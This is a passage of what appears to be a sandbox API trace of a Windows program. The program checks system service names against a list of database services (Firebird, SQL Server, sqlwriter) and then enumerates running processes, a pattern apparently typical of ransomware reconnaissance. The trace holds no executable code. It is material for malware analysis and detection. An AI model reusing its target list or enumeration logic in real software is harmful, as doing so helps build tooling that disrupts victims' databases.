	[0079.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0079.164] lstrlenW (lpString="KeyIso") returned 6
	[0079.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0079.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0079.164] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0079.164] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0079.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0079.164] lstrlenW (lpString="LanmanServer") returned 12
	[0079.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0079.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0079.164] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0079.164] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0079.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0079.164] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0079.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0079.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0079.165] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0079.165] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0079.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0079.165] lstrlenW (lpString="lfsvc") returned 5
	[0079.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0079.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0079.165] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0079.165] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0079.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0079.165] lstrlenW (lpString="lmhosts") returned 7
	[0079.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0079.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0079.165] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0079.165] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0079.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0079.165] lstrlenW (lpString="LSM") returned 3
	[0079.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0079.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0079.165] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0079.165] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0079.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0079.165] lstrlenW (lpString="MapsBroker") returned 10
	[0079.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0079.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0079.165] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0079.165] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0079.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0079.165] lstrlenW (lpString="MpsSvc") returned 6
	[0079.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0079.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0079.165] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0079.166] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0079.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0079.166] lstrlenW (lpString="NcbService") returned 10
	[0079.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0079.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0079.166] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0079.166] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0079.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0079.166] lstrlenW (lpString="netprofm") returned 8
	[0079.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0079.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0079.166] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0079.166] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0079.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0079.166] lstrlenW (lpString="NlaSvc") returned 6
	[0079.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0079.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0079.166] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0079.166] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0079.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0079.166] lstrlenW (lpString="nsi") returned 3
	[0079.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0079.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0079.166] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0079.166] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0079.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0079.166] lstrlenW (lpString="PcaSvc") returned 6
	[0079.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0079.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0079.166] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0079.166] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0079.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0079.166] lstrlenW (lpString="PlugPlay") returned 8
	[0079.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0079.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0079.167] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0079.167] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0079.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0079.167] lstrlenW (lpString="Power") returned 5
	[0079.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0079.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0079.167] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0079.167] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0079.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0079.167] lstrlenW (lpString="ProfSvc") returned 7
	[0079.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0079.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0079.167] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0079.167] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0079.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0079.167] lstrlenW (lpString="RpcEptMapper") returned 12
	[0079.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0079.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0079.167] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0079.167] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0079.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0079.167] lstrlenW (lpString="RpcSs") returned 5
	[0079.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0079.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0079.167] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0079.167] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0079.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0079.167] lstrlenW (lpString="SamSs") returned 5
	[0079.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0079.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0079.167] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0079.168] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0079.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0079.168] lstrlenW (lpString="Schedule") returned 8
	[0079.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0079.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0079.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0079.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0079.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0079.168] lstrlenW (lpString="SecurityHealthService") returned 21
	[0079.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0079.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0079.168] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0079.168] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0079.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0079.168] lstrlenW (lpString="SENS") returned 4
	[0079.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0079.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0079.168] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0079.168] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0079.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0079.168] lstrlenW (lpString="ShellHWDetection") returned 16
	[0079.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0079.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0079.168] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0079.168] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0079.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0079.168] lstrlenW (lpString="Spooler") returned 7
	[0079.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0079.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0079.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0079.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0079.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0079.168] lstrlenW (lpString="SSDPSRV") returned 7
	[0079.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0079.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0079.169] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0079.169] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0079.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0079.169] lstrlenW (lpString="StateRepository") returned 15
	[0079.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0079.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0079.169] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0079.169] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0079.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0079.169] lstrlenW (lpString="SysMain") returned 7
	[0079.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0079.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0079.169] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0079.169] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0079.169] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3eb39d0 | out: hHeap=0x500000) returned 1
	[0079.169] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x364
	[0079.722] Process32FirstW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0079.723] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0079.723] lstrlenW (lpString="System") returned 6
	[0079.724] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0079.724] lstrlenW (lpString="smss.exe") returned 8
	[0079.724] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0079.725] lstrlenW (lpString="csrss.exe") returned 9
	[0079.725] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0079.725] lstrlenW (lpString="wininit.exe") returned 11
	[0079.725] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0079.726] lstrlenW (lpString="csrss.exe") returned 9
	[0079.726] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0079.726] lstrlenW (lpString="winlogon.exe") returned 12
	[0079.726] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0079.727] lstrlenW (lpString="services.exe") returned 12
	[0079.727] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0079.727] lstrlenW (lpString="lsass.exe") returned 9
	[0079.727] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0079.728] lstrlenW (lpString="svchost.exe") returned 11
	[0079.728] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0079.728] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0079.729] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0079.729] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0079.729] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0079.730] lstrlenW (lpString="svchost.exe") returned 11
	[0079.730] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0079.730] lstrlenW (lpString="dwm.exe") returned 7
	[0079.730] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0079.731] lstrlenW (lpString="svchost.exe") returned 11
	[0079.731] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0079.731] lstrlenW (lpString="svchost.exe") returned 11
	[0079.731] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0079.732] lstrlenW (lpString="svchost.exe") returned 11
	[0079.732] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0079.732] lstrlenW (lpString="svchost.exe") returned 11
	[0079.732] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0079.733] lstrlenW (lpString="svchost.exe") returned 11
	[0079.733] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0079.733] lstrlenW (lpString="svchost.exe") returned 11
	[0079.734] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0079.734] lstrlenW (lpString="svchost.exe") returned 11
	[0079.734] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0079.735] lstrlenW (lpString="svchost.exe") returned 11
	[0079.735] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0079.735] lstrlenW (lpString="svchost.exe") returned 11
	[0079.735] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0079.736] lstrlenW (lpString="svchost.exe") returned 11
	[0079.736] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0079.737] lstrlenW (lpString="spoolsv.exe") returned 11
	[0079.737] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0079.737] lstrlenW (lpString="svchost.exe") returned 11
	[0079.737] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0079.738] lstrlenW (lpString="audiodg.exe") returned 11
	[0079.738] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0079.738] lstrlenW (lpString="sihost.exe") returned 10
	[0079.738] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0079.739] lstrlenW (lpString="svchost.exe") returned 11
	[0079.739] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0079.739] lstrlenW (lpString="taskhostw.exe") returned 13
	[0079.739] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0079.740] lstrlenW (lpString="explorer.exe") returned 12
	[0079.740] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0079.740] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0079.740] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0079.741] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0079.741] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0079.741] lstrlenW (lpString="Memory Compression") returned 18
	[0079.742] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0079.742] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0079.742] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
